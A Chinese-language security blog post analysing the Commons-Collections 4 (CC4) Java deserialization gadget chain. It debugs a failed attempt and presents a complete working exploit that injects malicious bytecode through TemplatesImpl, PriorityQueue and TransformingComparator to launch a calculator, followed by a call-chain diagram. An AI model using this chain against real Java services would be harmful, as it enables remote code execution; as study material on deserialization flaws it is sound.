Featured image of post java反序列化之Commons-Collections-CC4链

java反序列化之Commons-Collections-CC4链

java反序列化链子之cc4链

环境

  • JDK8u65
  • Maven 3.6.3
  • Commons-Collections 4.0
1
2
3
4
5
<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

CC4链分析

  • 从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响。

既然 InvokerTransformer 这里用不了了,我们去找谁调用了 transform() 方法,这里我去找的是 InstantiateTransformer 类,因为它上一步是 InvokerTransformer。

进行 find usages,在 TransformingComparator 这个类中的 compare() 方法调用了 transform() 方法。而 compare() 这个方法也是我们比较喜欢的这种,因为它非常常见。

找到PriorityQueue

在同一个类找下去

最后找到readObject首部

刚好继承了序列化接口

和cc3尾部链子到InstantiateTransformer.transform()后面都是同一条链子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");

Field codes  = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
Class<TrAXFilter> trAXFilter  = TrAXFilter.class;

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
//        instantiateTransformer.transform(trAXFilter);
Transformer[] transformers = {
        new ConstantTransformer(TrAXFilter.class),instantiateTransformer,
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//        serialize(priorityQueue);
unserialize("ser.bin");
}

但是弹不了计算器

问题解决

readObjectheapify打断点

debug的时候看到到heapify没有进for循环,直接跳出程序,没进入到链子

当给size赋值为2时,结果刚好1-1=0,满足i>=0,能进入循环,所以需要找到size赋值的地方

加上之后发现序列化运行的时候也会直接弹计算器

进入add方法

只需要在add之前给TransformingComparator传入一个无关的东西,add的时候进入不了链子,再通过反射来修改

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");

Field codes  = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
Class<TrAXFilter> trAXFilter  = TrAXFilter.class;

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
//        instantiateTransformer.transform(trAXFilter);
Transformer[] transformers = {
        new ConstantTransformer(TrAXFilter.class),instantiateTransformer,
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = TransformingComparator.class;
Field field1 = c.getDeclaredField("transformer");
field1.setAccessible(true);
field1.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");

成功弹计算器

流程图

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
PriorityQueue.readObject()
  PriorityQueue.heapify()
    PriorityQueue.siftDown()
      PriorityQueue.siftDownUsingComparator()
        TransformingComparator.compare()
        //后面就是cc3链的后半部分
          InstantiateTransformer.transform()
            TrAXFilter.TrAXFilter() 
              TemplatesImpl.newTransformer()
                TemplatesImpl.getTransletInstance()
                  TemplatesImpl.defineTransletClasses()
                    TemplatesImpl.defineClass()
                      ClassLoader.defineClass()
                        newInstance
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计